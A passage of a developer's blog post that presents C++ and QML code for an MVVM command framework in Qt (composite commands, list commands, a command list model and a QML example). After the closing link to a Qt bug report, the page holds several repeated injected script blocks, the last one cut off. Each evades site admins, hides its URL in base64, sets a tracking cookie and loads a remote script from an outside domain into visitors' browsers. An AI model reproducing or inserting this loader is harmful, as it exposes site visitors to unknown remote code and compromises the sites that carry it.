    <span style="color: #800000; font-weight: bold;">bool</span> canExe <span style="color: #808030;">=</span> <span style="color: #800000; font-weight: bold;">false</span><span style="color: #800080;">;</span>
<span style="color: #800080;">}</span><span style="color: #800080;">;</span></pre>
<p>We make a command that allows us to combine multiple commands together as one. This is the equivalent of .NET&#8217;s <a href="https://msdn.microsoft.com/en-us/library/microsoft.practices.composite.presentation.commands.compositecommand.aspx">CompositeCommand</a>, here you have <a href="https://github.com/pvanhoof/mvvm/blob/master/MVVM/Commands/CompositeCommand.cpp">our own</a>:</p>
<pre style="color: #000000; background: #ffffff;"><span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">QSharedPointer</span><span style="color: #800000;">&gt;</span>
<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">QQmlListProperty</span><span style="color: #800000;">&gt;</span>

<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">MVVM/Commands/AbstractCommand.h</span><span style="color: #800000;">&gt;</span>
<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">MVVM/Commands/ListCommand.h</span><span style="color: #800000;">&gt;</span>

<span style="color: #800000; font-weight: bold;">class</span> CompositeCommand <span style="color: #800080;">:</span> <span style="color: #800000; font-weight: bold;">public</span> AbstractCommand <span style="color: #800080;">{</span>
    <span style="color: #004a43;">Q_OBJECT</span>

    <span style="color: #004a43; background: #ffffff;">Q_PROPERTY</span><span style="color: #808030; background: #ffffff;">(</span><span style="color: #000000; background: #ffffff;">QQmlListProperty</span><span style="color: #808030; background: #ffffff;">&lt;</span><span style="color: #000000; background: #ffffff;">AbstractCommand</span><span style="color: #808030; background: #ffffff;">&gt;</span><span style="color: #000000; background: #ffffff;"> commands </span><span style="color: #800000; background: #ffffff; font-weight: bold;">READ</span><span style="color: #000000; background: #ffffff;"> commands NOTIFY commandsChanged </span><span style="color: #808030; background: #ffffff;">)</span>
    <span style="color: #004a43;">Q_CLASSINFO</span><span style="color: #808030;">(</span><span style="color: #800000;">"</span><span style="color: #0000e6;">DefaultProperty</span><span style="color: #800000;">"</span><span style="color: #808030;">,</span> <span style="color: #800000;">"</span><span style="color: #0000e6;">commands</span><span style="color: #800000;">"</span><span style="color: #808030;">)</span>
<span style="color: #800000; font-weight: bold;">public</span><span style="color: #e34adc;">:</span>
    CompositeCommand<span style="color: #808030;">(</span><span style="color: #603000;">QObject</span> <span style="color: #808030;">*</span>parent <span style="color: #808030;">=</span> <span style="color: #008c00;">0</span><span style="color: #808030;">)</span><span style="color: #800080;">:</span>AbstractCommand <span style="color: #808030;">(</span>parent<span style="color: #808030;">)</span> <span style="color: #800080;">{</span><span style="color: #800080;">}</span>
    CompositeCommand<span style="color: #808030;">(</span><span style="color: #603000;">QList</span><span style="color: #800080;">&lt;</span>QSharedPointer<span style="color: #800080;">&lt;</span>AbstractCommand<span style="color: #800080;">&gt;</span> <span style="color: #800080;">&gt;</span> cmds<span style="color: #808030;">,</span> <span style="color: #603000;">QObject</span> <span style="color: #808030;">*</span>parent<span style="color: #808030;">=</span><span style="color: #008c00;">0</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #808030;">~</span>CompositeCommand<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">void</span> execute<span style="color: #808030;">(</span><span style="color: #808030;">)</span> Q_DECL_OVERRIDE<span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">bool</span> canExecute<span style="color: #808030;">(</span><span style="color: #808030;">)</span> <span style="color: #800000; font-weight: bold;">const</span> Q_DECL_OVERRIDE<span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">void</span> <span style="color: #603000;">remove</span><span style="color: #808030;">(</span><span style="color: #800000; font-weight: bold;">const</span> QSharedPointer<span style="color: #800080;">&lt;</span>AbstractCommand<span style="color: #800080;">&gt;</span> <span style="color: #808030;">&amp;</span>cmd<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">void</span> add<span style="color: #808030;">(</span><span style="color: #800000; font-weight: bold;">const</span> QSharedPointer<span style="color: #800080;">&lt;</span>AbstractCommand<span style="color: #800080;">&gt;</span> <span style="color: #808030;">&amp;</span>cmd<span style="color: #808030;">)</span><span style="color: #800080;">;</span>

    <span style="color: #800000; font-weight: bold;">void</span> add<span style="color: #808030;">(</span>AbstractCommand <span style="color: #808030;">*</span>cmd<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">void</span> clearCommands<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    QQmlListProperty<span style="color: #800080;">&lt;</span>AbstractCommand<span style="color: #800080;">&gt;</span> commands<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>

<span style="color: #800000; font-weight: bold;">signals</span><span style="color: #e34adc;">:</span>
    <span style="color: #800000; font-weight: bold;">void</span> commandsChanged<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
<span style="color: #800000; font-weight: bold;">private slots</span><span style="color: #e34adc;">:</span>
    <span style="color: #800000; font-weight: bold;">void</span> onCanExecuteChanged<span style="color: #808030;">(</span><span style="color: #800000; font-weight: bold;">bool</span> canExecute<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
<span style="color: #800000; font-weight: bold;">private</span><span style="color: #e34adc;">:</span>
    <span style="color: #603000;">QList</span><span style="color: #800080;">&lt;</span>QSharedPointer<span style="color: #800080;">&lt;</span>AbstractCommand<span style="color: #800080;">&gt;</span> <span style="color: #800080;">&gt;</span> cmds<span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">static</span> <span style="color: #800000; font-weight: bold;">void</span> appendCommand<span style="color: #808030;">(</span>QQmlListProperty<span style="color: #800080;">&lt;</span>AbstractCommand<span style="color: #800080;">&gt;</span> <span style="color: #808030;">*</span>lst<span style="color: #808030;">,</span> AbstractCommand <span style="color: #808030;">*</span>cmd<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">static</span> AbstractCommand<span style="color: #808030;">*</span> command<span style="color: #808030;">(</span>QQmlListProperty<span style="color: #800080;">&lt;</span>AbstractCommand<span style="color: #800080;">&gt;</span> <span style="color: #808030;">*</span>lst<span style="color: #808030;">,</span> <span style="color: #800000; font-weight: bold;">int</span> idx<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">static</span> <span style="color: #800000; font-weight: bold;">void</span> clearCommands<span style="color: #808030;">(</span>QQmlListProperty<span style="color: #800080;">&lt;</span>AbstractCommand<span style="color: #800080;">&gt;</span> <span style="color: #808030;">*</span>lst<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">static</span> <span style="color: #800000; font-weight: bold;">int</span> commandCount<span style="color: #808030;">(</span>QQmlListProperty<span style="color: #800080;">&lt;</span>AbstractCommand<span style="color: #800080;">&gt;</span> <span style="color: #808030;">*</span>lst<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
<span style="color: #800080;">}</span><span style="color: #800080;">;</span></pre>
<p>We also make a command that looks a lot like <a href="https://doc.qt.io/qt-5/qml-qtqml-models-listelement.html">ListElement</a> in QML&#8217;s <a href="https://doc.qt.io/qt-5/qml-qtqml-models-listmodel.html">ListModel</a>:</p>
<pre style="color: #000000; background: #ffffff;"><span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">MVVM/Commands/AbstractCommand.h</span><span style="color: #800000;">&gt;</span>

<span style="color: #800000; font-weight: bold;">class</span> ListCommand <span style="color: #800080;">:</span> <span style="color: #800000; font-weight: bold;">public</span> AbstractCommand
<span style="color: #800080;">{</span>
    <span style="color: #004a43;">Q_OBJECT</span>
    <span style="color: #004a43; background: #ffffff;">Q_PROPERTY</span><span style="color: #808030; background: #ffffff;">(</span><span style="color: #000000; background: #ffffff;">AbstractCommand </span><span style="color: #808030; background: #ffffff;">*</span><span style="color: #000000; background: #ffffff;">command </span><span style="color: #800000; background: #ffffff; font-weight: bold;">READ</span><span style="color: #000000; background: #ffffff;"> command </span><span style="color: #800000; background: #ffffff; font-weight: bold;">WRITE</span><span style="color: #000000; background: #ffffff;"> setCommand NOTIFY commandChanged</span><span style="color: #808030; background: #ffffff;">)</span>
    <span style="color: #004a43; background: #ffffff;">Q_PROPERTY</span><span style="color: #808030; background: #ffffff;">(</span><span style="color: #603000; background: #ffffff;">QString</span><span style="color: #000000; background: #ffffff;"> text </span><span style="color: #800000; background: #ffffff; font-weight: bold;">READ</span><span style="color: #000000; background: #ffffff;"> text </span><span style="color: #800000; background: #ffffff; font-weight: bold;">WRITE</span><span style="color: #000000; background: #ffffff;"> setText NOTIFY textChanged</span><span style="color: #808030; background: #ffffff;">)</span>
<span style="color: #800000; font-weight: bold;">public</span><span style="color: #e34adc;">:</span>
    ListCommand<span style="color: #808030;">(</span><span style="color: #603000;">QObject</span> <span style="color: #808030;">*</span>parent <span style="color: #808030;">=</span> <span style="color: #008c00;">0</span><span style="color: #808030;">)</span><span style="color: #800080;">:</span>AbstractCommand<span style="color: #808030;">(</span>parent<span style="color: #808030;">)</span><span style="color: #800080;">{</span><span style="color: #800080;">}</span>
    <span style="color: #800000; font-weight: bold;">void</span> execute<span style="color: #808030;">(</span><span style="color: #808030;">)</span> Q_DECL_OVERRIDE<span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">bool</span> canExecute<span style="color: #808030;">(</span><span style="color: #808030;">)</span> <span style="color: #800000; font-weight: bold;">const</span> Q_DECL_OVERRIDE<span style="color: #800080;">;</span>
    AbstractCommand<span style="color: #808030;">*</span> command<span style="color: #808030;">(</span><span style="color: #808030;">)</span> <span style="color: #800000; font-weight: bold;">const</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">void</span> setCommand<span style="color: #808030;">(</span>AbstractCommand <span style="color: #808030;">*</span>newCommand<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">void</span> setCommand<span style="color: #808030;">(</span><span style="color: #800000; font-weight: bold;">const</span> QSharedPointer<span style="color: #800080;">&lt;</span>AbstractCommand<span style="color: #800080;">&gt;</span> <span style="color: #808030;">&amp;</span>newCommand<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #603000;">QString</span> text<span style="color: #808030;">(</span><span style="color: #808030;">)</span> <span style="color: #800000; font-weight: bold;">const</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">void</span> setText<span style="color: #808030;">(</span><span style="color: #800000; font-weight: bold;">const</span> <span style="color: #603000;">QString</span> <span style="color: #808030;">&amp;</span>newValue<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
<span style="color: #800000; font-weight: bold;">signals</span><span style="color: #e34adc;">:</span>
    <span style="color: #800000; font-weight: bold;">void</span> commandChanged<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">void</span> textChanged<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
<span style="color: #800000; font-weight: bold;">private</span><span style="color: #e34adc;">:</span>
    QSharedPointer<span style="color: #800080;">&lt;</span>AbstractCommand<span style="color: #800080;">&gt;</span> cmd<span style="color: #800080;">;</span>
    <span style="color: #603000;">QString</span> txt<span style="color: #800080;">;</span>
<span style="color: #800080;">}</span><span style="color: #800080;">;</span></pre>
<p>Let&#8217;s now also make the equivalent for QML&#8217;s ListModel, CommandListModel:</p>
<pre style="color: #000000; background: #ffffff;"><span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">QObject</span><span style="color: #800000;">&gt;</span>
<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">QQmlListProperty</span><span style="color: #800000;">&gt;</span>

<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">MVVM/Commands/ListCommand.h</span><span style="color: #800000;">&gt;</span>

<span style="color: #800000; font-weight: bold;">class</span> CommandListModel<span style="color: #800080;">:</span><span style="color: #800000; font-weight: bold;">public</span> <span style="color: #603000;">QObject</span> <span style="color: #800080;">{</span>
    <span style="color: #004a43;">Q_OBJECT</span>
    <span style="color: #004a43; background: #ffffff;">Q_PROPERTY</span><span style="color: #808030; background: #ffffff;">(</span><span style="color: #000000; background: #ffffff;">QQmlListProperty</span><span style="color: #808030; background: #ffffff;">&lt;</span><span style="color: #000000; background: #ffffff;">ListCommand</span><span style="color: #808030; background: #ffffff;">&gt;</span><span style="color: #000000; background: #ffffff;"> commands </span><span style="color: #800000; background: #ffffff; font-weight: bold;">READ</span><span style="color: #000000; background: #ffffff;"> commands NOTIFY commandsChanged </span><span style="color: #808030; background: #ffffff;">)</span>
    <span style="color: #004a43;">Q_CLASSINFO</span><span style="color: #808030;">(</span><span style="color: #800000;">"</span><span style="color: #0000e6;">DefaultProperty</span><span style="color: #800000;">"</span><span style="color: #808030;">,</span> <span style="color: #800000;">"</span><span style="color: #0000e6;">commands</span><span style="color: #800000;">"</span><span style="color: #808030;">)</span>
<span style="color: #800000; font-weight: bold;">public</span><span style="color: #e34adc;">:</span>
    CommandListModel<span style="color: #808030;">(</span><span style="color: #603000;">QObject</span> <span style="color: #808030;">*</span>parent <span style="color: #808030;">=</span> <span style="color: #008c00;">0</span><span style="color: #808030;">)</span><span style="color: #800080;">:</span><span style="color: #603000;">QObject</span><span style="color: #808030;">(</span>parent<span style="color: #808030;">)</span><span style="color: #800080;">{</span><span style="color: #800080;">}</span>
    <span style="color: #800000; font-weight: bold;">void</span> clearCommands<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">int</span> commandCount<span style="color: #808030;">(</span><span style="color: #808030;">)</span> <span style="color: #800000; font-weight: bold;">const</span><span style="color: #800080;">;</span>
    QQmlListProperty<span style="color: #800080;">&lt;</span>ListCommand<span style="color: #800080;">&gt;</span> commands<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">void</span> appendCommand<span style="color: #808030;">(</span>ListCommand <span style="color: #808030;">*</span>command<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    ListCommand<span style="color: #808030;">*</span> command<span style="color: #808030;">(</span><span style="color: #800000; font-weight: bold;">int</span> idx<span style="color: #808030;">)</span> <span style="color: #800000; font-weight: bold;">const</span><span style="color: #800080;">;</span>
<span style="color: #800000; font-weight: bold;">signals</span><span style="color: #e34adc;">:</span>
    <span style="color: #800000; font-weight: bold;">void</span> commandsChanged<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
<span style="color: #800000; font-weight: bold;">private</span><span style="color: #e34adc;">:</span>
    <span style="color: #800000; font-weight: bold;">static</span> <span style="color: #800000; font-weight: bold;">void</span> appendCommand<span style="color: #808030;">(</span>QQmlListProperty<span style="color: #800080;">&lt;</span>ListCommand<span style="color: #800080;">&gt;</span> <span style="color: #808030;">*</span>lst<span style="color: #808030;">,</span> ListCommand <span style="color: #808030;">*</span>cmd<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">static</span> ListCommand<span style="color: #808030;">*</span> command<span style="color: #808030;">(</span>QQmlListProperty<span style="color: #800080;">&lt;</span>ListCommand<span style="color: #800080;">&gt;</span> <span style="color: #808030;">*</span>lst<span style="color: #808030;">,</span> <span style="color: #800000; font-weight: bold;">int</span> idx<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">static</span> <span style="color: #800000; font-weight: bold;">void</span> clearCommands<span style="color: #808030;">(</span>QQmlListProperty<span style="color: #800080;">&lt;</span>ListCommand<span style="color: #800080;">&gt;</span> <span style="color: #808030;">*</span>lst<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">static</span> <span style="color: #800000; font-weight: bold;">int</span> commandCount<span style="color: #808030;">(</span>QQmlListProperty<span style="color: #800080;">&lt;</span>ListCommand<span style="color: #800080;">&gt;</span> <span style="color: #808030;">*</span>lst<span style="color: #808030;">)</span><span style="color: #800080;">;</span>

    <span style="color: #603000;">QList</span><span style="color: #800080;">&lt;</span>ListCommand<span style="color: #808030;">*</span> <span style="color: #800080;">&gt;</span> cmds<span style="color: #800080;">;</span>
<span style="color: #800080;">}</span><span style="color: #800080;">;</span></pre>
<p>Okay, let&#8217;s now put all this together in a simple <a href="https://github.com/pvanhoof/mvvm/blob/master/Examples/Example.qml">example QML</a>:</p>
<pre style="color: #000000; background: #ffffff;"><span style="color: #800000; font-weight: bold;">import</span> QtQuick <span style="color: #008000;">2.3</span>
<span style="color: #800000; font-weight: bold;">import</span> QtQuick<span style="color: #808030;">.</span>Window <span style="color: #008000;">2.0</span>
<span style="color: #800000; font-weight: bold;">import</span> QtQuick<span style="color: #808030;">.</span>Controls <span style="color: #008000;">1.2</span>

<span style="color: #800000; font-weight: bold;">import</span> be<span style="color: #808030;">.</span>codeminded<span style="color: #808030;">.</span>mvvm <span style="color: #008000;">1.0</span>

<span style="color: #800000; font-weight: bold;">import</span> Example <span style="color: #008000;">1.0</span> as A

Window <span style="color: #800080;">{</span>
    width<span style="color: #800080;">:</span> <span style="color: #008c00;">360</span>
    height<span style="color: #800080;">:</span> <span style="color: #008c00;">360</span>
    visible<span style="color: #800080;">:</span> <span style="color: #0f4d75;">true</span>

    ListView <span style="color: #800080;">{</span>
        id<span style="color: #800080;">:</span> listView
        anchors<span style="color: #808030;">.</span>fill<span style="color: #800080;">:</span> parent

        delegate<span style="color: #800080;">:</span> Item <span style="color: #800080;">{</span>
            height<span style="color: #800080;">:</span> <span style="color: #008c00;">20</span>
            width<span style="color: #800080;">:</span> listView<span style="color: #808030;">.</span>width
            MouseArea <span style="color: #800080;">{</span>
                anchors<span style="color: #808030;">.</span>fill<span style="color: #800080;">:</span> parent
                onClicked<span style="color: #800080;">:</span> <span style="color: #800000; font-weight: bold;">if</span> <span style="color: #808030;">(</span>modelData<span style="color: #808030;">.</span>canExecute<span style="color: #808030;">)</span> modelData<span style="color: #808030;">.</span>execute<span style="color: #808030;">(</span><span style="color: #808030;">)</span>
            <span style="color: #800080;">}</span>
            Text <span style="color: #800080;">{</span>
                anchors<span style="color: #808030;">.</span>fill<span style="color: #800080;">:</span> parent
                text<span style="color: #800080;">:</span> modelData<span style="color: #808030;">.</span>text
                color<span style="color: #800080;">:</span> modelData<span style="color: #808030;">.</span>canExecute <span style="color: #800080;">?</span> <span style="color: #800000;">"</span><span style="color: #0000e6;">black</span><span style="color: #800000;">"</span> <span style="color: #800080;">:</span> <span style="color: #800000;">"</span><span style="color: #0000e6;">grey</span><span style="color: #800000;">"</span>
            <span style="color: #800080;">}</span>
        <span style="color: #800080;">}</span>

        model<span style="color: #800080;">:</span> comsModel<span style="color: #808030;">.</span>commands

        property bool combineCanExecute<span style="color: #800080;">:</span> <span style="color: #0f4d75;">false</span>

        CommandListModel <span style="color: #800080;">{</span>
            id<span style="color: #800080;">:</span> comsModel

            ListCommand <span style="color: #800080;">{</span>
                text<span style="color: #800080;">:</span> <span style="color: #800000;">"</span><span style="color: #0000e6;">C++ Lambda command</span><span style="color: #800000;">"</span>
                command<span style="color: #800080;">:</span>  A<span style="color: #808030;">.</span>LambdaCommand
            <span style="color: #800080;">}</span>

            ListCommand <span style="color: #800080;">{</span>
                text<span style="color: #800080;">:</span> <span style="color: #800000;">"</span><span style="color: #0000e6;">Enable combined</span><span style="color: #800000;">"</span>
                command<span style="color: #800080;">:</span> EmitCommand <span style="color: #800080;">{</span>
                    onExecutes<span style="color: #800080;">:</span> <span style="color: #800080;">{</span> console<span style="color: #808030;">.</span>warn<span style="color: #808030;">(</span> <span style="color: #800000;">"</span><span style="color: #0000e6;">Hello1</span><span style="color: #800000;">"</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
                        listView<span style="color: #808030;">.</span>combineCanExecute<span style="color: #808030;">=</span><span style="color: #0f4d75;">true</span><span style="color: #800080;">;</span> <span style="color: #800080;">}</span>
                    canExecute<span style="color: #800080;">:</span> <span style="color: #0f4d75;">true</span>
                <span style="color: #800080;">}</span>
            <span style="color: #800080;">}</span>

            ListCommand <span style="color: #800080;">{</span>
                text<span style="color: #800080;">:</span> <span style="color: #800000;">"</span><span style="color: #0000e6;">Disable combined</span><span style="color: #800000;">"</span>
                command<span style="color: #800080;">:</span> EmitCommand <span style="color: #800080;">{</span>
                    onExecutes<span style="color: #800080;">:</span> <span style="color: #800080;">{</span> console<span style="color: #808030;">.</span>warn<span style="color: #808030;">(</span> <span style="color: #800000;">"</span><span style="color: #0000e6;">Hello2</span><span style="color: #800000;">"</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
                        listView<span style="color: #808030;">.</span>combineCanExecute<span style="color: #808030;">=</span><span style="color: #0f4d75;">false</span><span style="color: #800080;">;</span> <span style="color: #800080;">}</span>
                    canExecute<span style="color: #800080;">:</span> <span style="color: #0f4d75;">true</span>
                <span style="color: #800080;">}</span>
            <span style="color: #800080;">}</span>

            ListCommand <span style="color: #800080;">{</span>
                text<span style="color: #800080;">:</span> <span style="color: #800000;">"</span><span style="color: #0000e6;">Combined emit commands</span><span style="color: #800000;">"</span>
                command<span style="color: #800080;">:</span> CompositeCommand <span style="color: #800080;">{</span>
                    EmitCommand <span style="color: #800080;">{</span>
                        onExecutes<span style="color: #800080;">:</span> console<span style="color: #808030;">.</span>warn<span style="color: #808030;">(</span> <span style="color: #800000;">"</span><span style="color: #0000e6;">Emit command 1</span><span style="color: #800000;">"</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
                        canExecute<span style="color: #800080;">:</span> listView<span style="color: #808030;">.</span>combineCanExecute
                    <span style="color: #800080;">}</span>
                    EmitCommand <span style="color: #800080;">{</span>
                        onExecutes<span style="color: #800080;">:</span> console<span style="color: #808030;">.</span>warn<span style="color: #808030;">(</span> <span style="color: #800000;">"</span><span style="color: #0000e6;">Emit command 2</span><span style="color: #800000;">"</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
                        canExecute<span style="color: #800080;">:</span> listView<span style="color: #808030;">.</span>combineCanExecute
                    <span style="color: #800080;">}</span>
                <span style="color: #800080;">}</span>
            <span style="color: #800080;">}</span>
        <span style="color: #800080;">}</span>
    <span style="color: #800080;">}</span>
<span style="color: #800080;">}</span></pre>
<p>I made a task-bug for this on Qt, <a href="https://bugreports.qt.io/browse/QTBUG-62615">here</a>.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 